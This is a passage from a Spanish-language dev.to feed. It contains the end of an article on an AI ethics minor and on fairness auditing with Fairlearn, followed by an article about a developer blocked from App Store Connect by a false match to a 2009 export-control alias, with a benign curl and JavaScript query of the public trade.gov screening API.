&lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Diferencia de paridad demográfica:&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;dpd&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Un valor de &lt;code&gt;dpd&lt;/code&gt; cercano a cero indica que el modelo aprueba o rechaza casos a tasas similares entre grupos. Un valor alejado de cero no prueba por sí solo que el modelo sea injusto, pero sí es la señal que dispara una revisión manual antes de aprobar el despliegue.&lt;br&gt;
Un pipeline típico corre la métrica de fairness antes de aprobar el despliegue a producción.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;flowchart TD
A["Datos de entrenamiento"] --&amp;gt; B["Modelo de ml"]
B --&amp;gt; C["Metricas de fairness"]
C --&amp;gt; D["Reporte de auditoria"]
D --&amp;gt; E{"¿Pasa el umbral?"}
E --&amp;gt;|"Sí"| F["Despliegue a produccion"]
E --&amp;gt;|"No"| G["Reentrenamiento o mitigacion"]
subgraph Auditoria
C
D
E
end
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Este es, en esencia, el tipo de flujo que una minor como la de William &amp;amp; Mary intenta que sus estudiantes entiendan de ambos lados: quien escribe el código que genera el reporte, y quien decide qué umbral es aceptable y por qué.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;💡 Tip:&lt;/strong&gt; IBM Research mantiene &lt;a href="https://github.com/Trusted-AI/AIF360" rel="noopener noreferrer"&gt;AIF360&lt;/a&gt;, otro kit open source con decenas de métricas de fairness y varios algoritmos de mitigación, útil si Fairlearn no cubre el caso de uso.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h2&gt;
  
  
  Cómo empezar a auditar tus propios modelos
&lt;/h2&gt;

&lt;p&gt;No hace falta cursar una minor de ética de la ia para aplicar esto hoy. Si ya tenés un modelo de clasificación entrenado y un dataset con al menos un atributo sensible identificado, el camino más corto es:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Instalar Fairlearn (&lt;code&gt;pip install fairlearn&lt;/code&gt;) o AIF360 en el entorno donde corren las predicciones de validación.- Elegir una métrica según la tabla anterior: paridad demográfica si el objetivo es acceso igualitario, equalized odds si el costo del error varía según el contexto.- Correr la métrica contra el conjunto de validación, no contra producción, para tener margen de corregir antes de exponer usuarios reales.- Documentar el resultado como parte del checklist de release, junto con precisión y demás métricas de performance, no como un informe separado que nadie revisa.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;El paso que más equipos se saltan es el último. Es fácil correr la métrica una vez para un reporte interno y nunca más volver a mirarla cuando el modelo se reentrena con datos nuevos. Un pipeline de CI que corra la auditoría de fairness en cada reentrenamiento, igual que corre los tests unitarios, evita ese olvido.&lt;/p&gt;

&lt;h2&gt;
  
  
  Impacto y análisis
&lt;/h2&gt;

&lt;p&gt;El mercado laboral ya está pidiendo este perfil híbrido, aunque todavía no tenga un nombre estandarizado en las publicaciones de empleo. Equipos que despliegan llms en producción necesitan a alguien que pueda leer un reporte de fairness y también explicarle al área legal o de producto qué significa ese número y qué riesgo implica ignorarlo.&lt;/p&gt;

&lt;p&gt;La crítica más común a este tipo de programas es que la ética "no se puede enseñar en un aula" o que termina siendo un barniz sobre una carrera que sigue siendo, en el fondo, puramente técnica. Es una crítica válida cuando el programa se reduce a un seminario de lectura sin ninguna conexión con el código real. La diferencia que reclama William &amp;amp; Mary, igual que Stanford con Embedded EthiCS, es que la secuencia obliga a producir artefactos técnicos concretos (auditorías, reportes de métricas, decisiones de diseño documentadas), no solo ensayos.&lt;/p&gt;

&lt;p&gt;El límite real de este enfoque es medir su efecto. Ninguna universidad publicó todavía un estudio longitudinal que compare el criterio de egresados de programas con minor de ética de la ia contra egresados sin ella. El anuncio de William &amp;amp; Mary tampoco incluye esa evidencia: es, por ahora, una apuesta curricular respaldada por la lógica del diseño del programa, no por un resultado medido.&lt;/p&gt;

&lt;h2&gt;
  
  
  Qué sigue
&lt;/h2&gt;

&lt;p&gt;Es razonable esperar que más universidades sigan este camino de convertir la ética de la ia en una secuencia con crédito propio en lugar de un módulo suelto, sobre todo porque el costo de agregarla es relativamente bajo: no requiere infraestructura nueva, solo coordinación entre dos departamentos que ya existen. La pregunta más difícil no es si se enseña, sino si las empresas que contratan a esos egresados les dan margen real para frenar un despliegue cuando la auditoría da mal.&lt;/p&gt;

&lt;p&gt;Ese es, en última instancia, el punto ciego de cualquier programa académico: un estudiante puede egresar sabiendo interpretar perfectamente una diferencia de paridad demográfica y aun así no tener autoridad organizacional para bloquear un release. La minor resuelve la parte del conocimiento. La parte del poder de decisión queda fuera del aula.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;⚠️ Ojo:&lt;/strong&gt; saber calcular una métrica de fairness no equivale a tener autoridad para frenar un despliegue. Eso depende de la cultura y la estructura de decisión de cada empresa, no del currículum universitario.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;📖 Resumen en Telegram: Ver resumen&lt;/p&gt;

&lt;p&gt;Probalo vos: instalá Fairlearn con &lt;code&gt;pip install fairlearn&lt;/code&gt; y corré &lt;code&gt;demographic_parity_difference&lt;/code&gt; contra las predicciones de validación de tu propio modelo hoy mismo.&lt;/p&gt;

&lt;h2&gt;
  
  
  Preguntas frecuentes
&lt;/h2&gt;

&lt;h3&gt;
  
  
  ¿Qué universidades ya combinan ética y computación en un programa formal?
&lt;/h3&gt;

&lt;p&gt;Stanford tiene Embedded EthiCS, que inserta módulos de filosofía dentro de cursos técnicos existentes. El MIT tiene el programa SERC (Social and Ethical Responsibilities of Computing). William &amp;amp; Mary suma ahora una minor con crédito académico propio que combina ambos departamentos en una secuencia formal.&lt;/p&gt;

&lt;h3&gt;
  
  
  ¿Qué es la paridad demográfica en un modelo de ia?
&lt;/h3&gt;

&lt;p&gt;Es una métrica de fairness que compara la tasa de predicciones positivas de un modelo entre distintos grupos definidos por un atributo sensible, como género o edad. Una diferencia cercana a cero indica que el modelo aprueba o rechaza casos a tasas similares entre esos grupos.&lt;/p&gt;

&lt;h3&gt;
  
  
  ¿Sirve estudiar filosofía para trabajar como ingeniero de ia?
&lt;/h3&gt;

&lt;p&gt;Ayuda a formular con precisión qué se le está pidiendo optimizar a un modelo y qué costos de error son aceptables, que son decisiones normativas, no solo técnicas. No reemplaza el conocimiento de programación ni de estadística que exige el puesto.&lt;/p&gt;

&lt;h3&gt;
  
  
  ¿Qué herramientas gratuitas existen para auditar sesgo en un modelo propio?
&lt;/h3&gt;

&lt;p&gt;Fairlearn, mantenida por Microsoft y la comunidad open source, y AIF360, de IBM Research, son las dos librerías de Python más usadas. Ambas son gratuitas y de código abierto.&lt;/p&gt;

&lt;h3&gt;
  
  
  ¿Esta minor reemplaza un título en ciencias de la computación?
&lt;/h3&gt;

&lt;p&gt;No. Es un complemento: una minor se cursa junto a una carrera principal (major), no en su lugar. Un estudiante de ciencias de la computación que completa esta minor suma la secuencia de ética aplicada a su título principal, no lo reemplaza.&lt;/p&gt;

&lt;h2&gt;
  
  
  Referencias
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;a href="https://www.wm.edu/as/news/2026-2027/where-ai-meets-ethics-new-interdisciplinary-minor-blends-computer-science-and-philosophy.php" rel="noopener noreferrer"&gt;William &amp;amp; Mary News&lt;/a&gt;: anuncio oficial de la nueva minor interdisciplinaria.- &lt;a href="https://fairlearn.org/" rel="noopener noreferrer"&gt;Fairlearn&lt;/a&gt;: documentación oficial de la librería open source para auditar fairness en modelos de ml.- &lt;a href="https://github.com/Trusted-AI/AIF360" rel="noopener noreferrer"&gt;AIF360 en GitHub&lt;/a&gt;: kit de herramientas de IBM Research para detectar y mitigar sesgo algorítmico.- &lt;a href="https://en.wikipedia.org/wiki/Ethics_of_artificial_intelligence" rel="noopener noreferrer"&gt;Ethics of artificial intelligence, Wikipedia&lt;/a&gt;: panorama general del campo y sus principales debates.- Embedded EthiCS, Stanford: programa que integra ética directamente en cursos de ciencias de la computación.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;📱 &lt;strong&gt;¿Te gusta este contenido?&lt;/strong&gt; Únete a nuestro canal de Telegram &lt;a href="https://t.me/programacion" rel="noopener noreferrer"&gt;@programacion&lt;/a&gt; donde publicamos a diario lo más relevante de tecnología, IA y desarrollo. Resúmenes rápidos, contenido fresco todos los días.&lt;/p&gt;

</description>
      <category>ai</category>
      <category>machinelearning</category>
      <category>programming</category>
      <category>tutorial</category>
    </item>
    <item>
      <title>Apple bloquea a un developer real por un alias ficticio del 2009</title>
      <dc:creator>lu1tr0n</dc:creator>
      <pubDate>Sat, 15 Aug 2026 14:24:44 +0000</pubDate>
      <link>https://dev.to/lu1tr0n/apple-bloquea-a-un-developer-real-por-un-alias-ficticio-del-2009-2n1n</link>
      <guid>https://dev.to/lu1tr0n/apple-bloquea-a-un-developer-real-por-un-alias-ficticio-del-2009-2n1n</guid>
      <description>&lt;p&gt;Apple le negó a Sean Byrne el acceso a App Store Connect a principios de 2026 porque su nombre coincidió con una entrada de la &lt;strong&gt;lista restringida&lt;/strong&gt; del gobierno de Estados Unidos agregada en 2009, y esa entrada no corresponde a ninguna persona real.&lt;/p&gt;

&lt;p&gt;El caso expone un problema que cualquier developer con un nombre común puede sufrir: los sistemas de cumplimiento automatizado que filtran cuentas de App Store Connect, ventas de acciones o envíos internacionales comparan tu nombre contra listas de sanciones sin verificar identidad real, y cuando la coincidencia es un fantasma administrativo, nadie sabe a quién corregir.&lt;/p&gt;

&lt;h2&gt;
  
  
  TL;DR
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;Apple le negó a Sean Byrne el acceso a App Store Connect en 2026 por una coincidencia en la lista restringida de EE. UU.- La entrada corresponde a «Sean Byrne, Cloonmull House, Drumcliffe, County Sligo, Irlanda», agregada al Entity List el 21 de julio de 2009.- Esa dirección y ese nombre nunca fueron una persona real: era un alias que los McGuinn usaban para inflar el tamaño de Mac Aviation.- La superseding indictment de 2010 menciona el alias «Sean Byrne» más de 15 veces como usado por coconspiradores, no como acusado.- La entrada tiene política de «presumption of denial»: exportar a ese nombre se deniega por defecto según el EAR.- Nasdaq y DHL marcaron el mismo nombre pero resolvieron el falso positivo en horas o días con el pasaporte de Byrne.- Apple ya tenía el pasaporte y la licencia de Byrne, y aun así no resolvió ni respondió el caso.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Qué pasó: un pasaporte no alcanzó
&lt;/h2&gt;

&lt;p&gt;La respuesta de Apple, traducida, decía algo así: «la información que proporcionaste coincide totalmente con una o más partes restringidas en la lista de screening consolidada del gobierno de EE. UU. o en la lista de sanciones de otro gobierno». Byrne &lt;a href="https://conic.al/writing/the-other-sean-byrne-doesnt-exist/" rel="noopener noreferrer"&gt;respondió con su nombre legal completo&lt;/a&gt;, Sean Joseph Byrne, subió su licencia de conducir y señaló que la dirección del registro gubernamental con el que lo estaban confundiendo no era, ni había sido nunca, su domicilio. Pidió que escalaran el caso al equipo de sanctions compliance para obtener una determinación formal de no coincidencia.&lt;/p&gt;

&lt;p&gt;Apple no volvió a responder. No fue la primera vez que Byrne enfrentaba este problema: ya le había pasado con Nasdaq durante la venta de acciones en un tender offer, y con DHL al recibir un envío de SpaceX. En ambos casos, entregar el pasaporte bastó para desbloquear la operación en cuestión de horas o días.&lt;br&gt;
Cloonmull House, la dirección de Sligo detrás del alias de 2009.&lt;/p&gt;
&lt;h2&gt;
  
  
  La lista restringida: qué es y cómo funciona
&lt;/h2&gt;

&lt;p&gt;La Consolidated Screening List (CSL) no es en sí misma una lista de sanciones: es una herramienta que combina varias listas de control de exportaciones y partes restringidas mantenidas por los departamentos de Comercio, Estado y Tesoro de EE. UU. La &lt;a href="https://www.trade.gov/consolidated-screening-list" rel="noopener noreferrer"&gt;documentación oficial de Trade.gov&lt;/a&gt; la describe como un punto de búsqueda único para que empresas verifiquen si un cliente, proveedor o usuario final aparece en alguna de esas listas antes de exportar, vender o dar acceso a su plataforma.&lt;/p&gt;

&lt;p&gt;La entrada que atrapa a Byrne viene específicamente del &lt;a href="https://www.bis.doc.gov/index.php/policy-guidance/lists-of-parties-of-concern/entity-list" rel="noopener noreferrer"&gt;Entity List&lt;/a&gt; de la Bureau of Industry and Security (BIS), agregada el 21 de julio de 2009. Su política de licencia es de «presumption of denial»: si alguien solicita autorización para exportar un ítem sujeto a las Export Administration Regulations (EAR) a ese nombre, la respuesta por defecto es negar. Es una herramienta de control de exportaciones, no una lista de quién puede trabajar o vender acciones, pero en la práctica cualquier sistema de cumplimiento corporativo la usa para bloquear cuentas, transacciones y envíos por igual.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;📌 Nota:&lt;/strong&gt; el registro de Byrne en la lista restringida no tiene fecha de nacimiento, número de pasaporte, segundo nombre ni ningún otro identificador personal. Solo un nombre común y una dirección en Sligo.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3&gt;
  
  
  Cloonmull House: el fantasma detrás del alias
&lt;/h3&gt;

&lt;p&gt;El origen de la entrada está en la causa contra Mac Aviation, una empresa irlandesa de repuestos aeronáuticos procesada en 2009. El Departamento de Justicia acusó a Thomas y Sean McGuinn, padre e hijo, junto con un tal «Sean Byrne» descrito como gerente comercial de la empresa, por exportar ilegalmente equipos de aviación estadounidenses a Irán.&lt;/p&gt;

&lt;p&gt;Mac Aviation operaba desde una casa de campo en las afueras de Drumcliffe, con el monte Ben Bulben de fondo. Según reportó John Mooney en el Sunday Times, un funcionario de Rolls-Royce que visitó las instalaciones esperando encontrar una operación global con cientos de empleados se topó, en cambio, con un padre y su hijo trabajando en una casa de campo. Para sostener la ilusión de una empresa grande, los McGuinn firmaban documentos con nombres falsos, y «Sean Byrne» aparecía en tantos papeles que las autoridades estadounidenses &lt;strong&gt;llegaron a convencerse de que existía&lt;/strong&gt; y trataron de indagarlo.&lt;/p&gt;

&lt;p&gt;Cuando el Departamento de Justicia presentó una superseding indictment en 2010, que reemplazó a la original, «Sean Byrne» ya no figuraba como acusado. Los acusados pasaron a ser Mac Aviation y los dos McGuinn. Más importante: el nuevo documento describe repetidamente a «Sean Byrne» como un alias usado por uno o más coconspiradores, con más de 15 menciones ligadas a facturas, correos y una declaración de propiedad específicas. El personal de Mac Aviation usaba ese nombre con proveedores en EE. UU. y clientes en Irán.&lt;/p&gt;

&lt;p&gt;En algún momento el propio gobierno de EE. UU. entendió que «Sean Byrne» no era una persona separada. Aun así, la entrada en el Entity List sobrevivió. Dieciséis años después, sigue sin fecha de nacimiento ni identificadores adicionales: apenas un nombre irlandés común, una dirección en Sligo y un país.&lt;/p&gt;
&lt;h2&gt;
  
  
  Cómo el cotejo automático convierte un nombre común en un bloqueo
&lt;/h2&gt;

&lt;p&gt;El problema técnico detrás de este caso no es la lista en sí, sino cómo las empresas la consultan. Un sistema de screening típico no busca coincidencia exacta de identidad, algo que requeriría número de pasaporte, fecha de nacimiento o identificador fiscal, sino similitud de nombre, a veces con tolerancia fonética para capturar variaciones de transliteración. Eso funciona bien para detectar a alguien que intenta evadir una sanción cambiando de grafía su nombre, pero también genera coincidencias con cualquier persona que, por pura casualidad, se llame igual que una entrada mal documentada.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;flowchart TD
A["Developer envía datos a App Store Connect"] --&amp;gt; B["Normalizar nombre"]
B --&amp;gt; C["Comparar contra Consolidated Screening List"]
C --&amp;gt; D{"Score de similitud mayor al umbral?"}
D -- "Sí" --&amp;gt; E["Cuenta bloqueada automáticamente"]
D -- "No" --&amp;gt; F["Acceso aprobado"]
E --&amp;gt; G["Revisión humana"]
G --&amp;gt; H["Determinación final"]
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;El punto crítico del diagrama es el paso &lt;strong&gt;G&lt;/strong&gt;: la revisión humana. Nasdaq y DHL la ejecutaron rápido, en el mismo llamado o en un par de días. En el caso de Byrne con Apple, la cadena parece detenerse justo ahí: el pasaporte y la licencia llegaron, pero nunca hubo una determinación formal de no coincidencia comunicada de vuelta.&lt;/p&gt;

&lt;h2&gt;
  
  
  Cómo verificar si tu nombre aparece en la lista restringida
&lt;/h2&gt;

&lt;p&gt;Trade.gov publica una &lt;a href="https://www.trade.gov/consolidated-screening-list" rel="noopener noreferrer"&gt;API pública y gratuita&lt;/a&gt; para consultar la Consolidated Screening List sin depender del formulario web. El siguiente comando busca coincidencias exactas o parciales por nombre:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &lt;span class="s2"&gt;"https://api.trade.gov/consolidated_screening_list/search?name=Sean%20Byrne&amp;amp;api_key=TU_API_KEY"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;La respuesta trae un array &lt;code&gt;results&lt;/code&gt; con cada coincidencia, incluyendo la fuente (Entity List, SDN, Denied Persons List, entre otras), la dirección registrada y un &lt;code&gt;score&lt;/code&gt; de similitud textual. Para automatizar una verificación previa, antes de completar un formulario de KYC o de una plataforma como App Store Connect, un script simple ayuda a anticipar si tu nombre va a generar ruido:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="k"&gt;import&lt;/span&gt; &lt;span class="nx"&gt;fetch&lt;/span&gt; &lt;span class="k"&gt;from&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;node-fetch&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="k"&gt;async&lt;/span&gt; &lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;buscarEnListaRestringida&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;nombreCompleto&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;url&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;URL&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;https://api.trade.gov/consolidated_screening_list/search&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="nx"&gt;url&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;searchParams&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;set&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;name&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;nombreCompleto&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="nx"&gt;url&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;searchParams&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;set&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;api_key&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;process&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;env&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;TRADE_GOV_API_KEY&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;res&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nf"&gt;fetch&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;url&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;data&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nx"&gt;res&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;json&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;

  &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nx"&gt;data&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;results&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;map&lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="nx"&gt;entrada&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;({&lt;/span&gt;
    &lt;span class="na"&gt;nombre&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;entrada&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;name&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="na"&gt;fuente&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;entrada&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;source&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="na"&gt;direccion&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;entrada&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;addresses&lt;/span&gt;&lt;span class="p"&gt;?.[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;]?.&lt;/span&gt;&lt;span class="nx"&gt;address&lt;/span&gt; &lt;span class="o"&gt;??&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;sin direccion registrada&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="na"&gt;score&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;entrada&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;score&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="p"&gt;}));&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;coincidencias&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nf"&gt;buscarEnListaRestringida&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;Sean Byrne&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="nx"&gt;console&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;log&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;coincidencias&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Si el resultado trae una entrada sin fecha de nacimiento, sin número de pasaporte y con una dirección donde nunca viviste, tenés un indicio fuerte de falso positivo: podés adjuntar esa comparación (nombre, dirección, ausencia de identificadores) al reclamo que envíes a soporte, tal como hizo Byrne con Apple, Nasdaq y DHL.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;⚠️ Ojo:&lt;/strong&gt; tener el pasaporte del solicitante no garantiza que el equipo de soporte tenga acceso al canal de sanctions compliance. Ese fue precisamente el punto donde Apple, a diferencia de Nasdaq y DHL, no avanzó.&lt;br&gt;
Un score de similitud, no una identidad verificada, dispara el bloqueo.&lt;/p&gt;
&lt;h2&gt;
  
  
  Apple contra Nasdaq y DHL: tres respuestas al mismo falso positivo
&lt;/h2&gt;
&lt;/blockquote&gt;

&lt;p&gt;El caso de Byrne sirve como comparación directa de cómo distintas empresas manejan la misma alerta de la lista restringida.&lt;br&gt;
EmpresaQué pidióTiempo de resoluciónResultadoNasdaqConfirmación de la dirección en California durante una llamadaMismo díaVenta de acciones completadaDHL (envío de SpaceX)Copia del pasaporteDíasPaquete entregado, incluso un envío posterior a IrlandaApplePasaporte y luego licencia de conducirSin resolución al momento de publicarse el casoCuenta de App Store Connect bloqueada&lt;br&gt;
La diferencia no está en la calidad de la evidencia que Byrne entregó, que fue la misma en los tres casos, sino en si la empresa tiene un canal donde una persona de cumplimiento pueda cerrar el caso con una determinación explícita de no coincidencia. Nasdaq y DHL lo tienen. Apple, al menos en la experiencia documentada, no lo mostró.&lt;/p&gt;

&lt;h2&gt;
  
  
  Qué sigue
&lt;/h2&gt;

&lt;p&gt;Para Byrne, el camino más realista es seguir escalando dentro de Apple o esperar a que el propio gobierno de EE. UU. actualice o retire la entrada de 2009, algo que no depende de él. Para cualquier developer o empresa que construya flujos de alta de usuarios, KYC o verificación de cuentas, el caso deja una lección de diseño muy concreta: una coincidencia de nombre sin identificadores adicionales (fecha de nacimiento, número de documento, dirección verificada) no debería bloquear una cuenta de forma automática y silenciosa. Como mínimo, el sistema necesita una vía de escalamiento a un humano con autoridad para resolver, y un plazo de respuesta.&lt;/p&gt;

&lt;p&gt;📖 Resumen en Telegram: Ver resumen&lt;/p&gt;

&lt;p&gt;Probalo vos: corré el comando &lt;code&gt;curl&lt;/code&gt; de la Consolidated Screening List con tu propio nombre completo antes de completar tu próximo formulario de verificación en cualquier plataforma.&lt;/p&gt;

&lt;h2&gt;
  
  
  Preguntas frecuentes
&lt;/h2&gt;

&lt;h3&gt;
  
  
  ¿Qué es la Consolidated Screening List?
&lt;/h3&gt;

&lt;p&gt;Es una herramienta del gobierno de EE. UU. que combina varias listas de control de exportaciones y partes restringidas de los departamentos de Comercio, Estado y Tesoro en un único punto de búsqueda para empresas.&lt;/p&gt;

&lt;h3&gt;
  
  
  ¿Por qué un alias de 2009 sigue activo dieciséis años después?
&lt;/h3&gt;

&lt;p&gt;Porque nadie solicitó formalmente su retiro del Entity List. Aunque la superseding indictment de 2010 aclaró que «Sean Byrne» era un alias y no una persona, esa aclaración quedó en un documento judicial y nunca se tradujo en una actualización de la lista administrativa.&lt;/p&gt;

&lt;h3&gt;
  
  
  ¿Le puede pasar esto a cualquier developer con un nombre común?
&lt;/h3&gt;

&lt;p&gt;Sí. Cuanto más común es el nombre, mayor la probabilidad de coincidencia con alguna de las miles de entradas combinadas por la Consolidated Screening List, sobre todo cuando la entrada carece de identificadores adicionales.&lt;/p&gt;

&lt;h3&gt;
  
  
  ¿Qué debería hacer alguien si su nombre coincide con una entrada?
&lt;/h3&gt;

&lt;p&gt;Reunir evidencia de identidad (pasaporte, licencia, comprobante de domicilio) y pedir explícitamente una determinación de no coincidencia al equipo de sanctions compliance de la empresa, no solo al soporte general.&lt;/p&gt;

&lt;h3&gt;
  
  
  ¿Qué significa «presumption of denial»?
&lt;/h3&gt;

&lt;p&gt;Es la política de licencia asociada a ciertas entradas del Entity List: si alguien pide autorización para exportar un ítem sujeto al EAR a esa entrada, la respuesta por defecto del gobierno de EE. UU. es negar la licencia.&lt;/p&gt;

&lt;h3&gt;
  
  
  ¿Apple respondió públicamente al caso?
&lt;/h3&gt;

&lt;p&gt;Según el relato original de Byrne, Apple no volvió a responder después de recibir su pasaporte y licencia de conducir, más allá del mensaje automático inicial que citaba la coincidencia con la lista restringida.&lt;/p&gt;

&lt;h2&gt;
  
  
  Referencias
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;
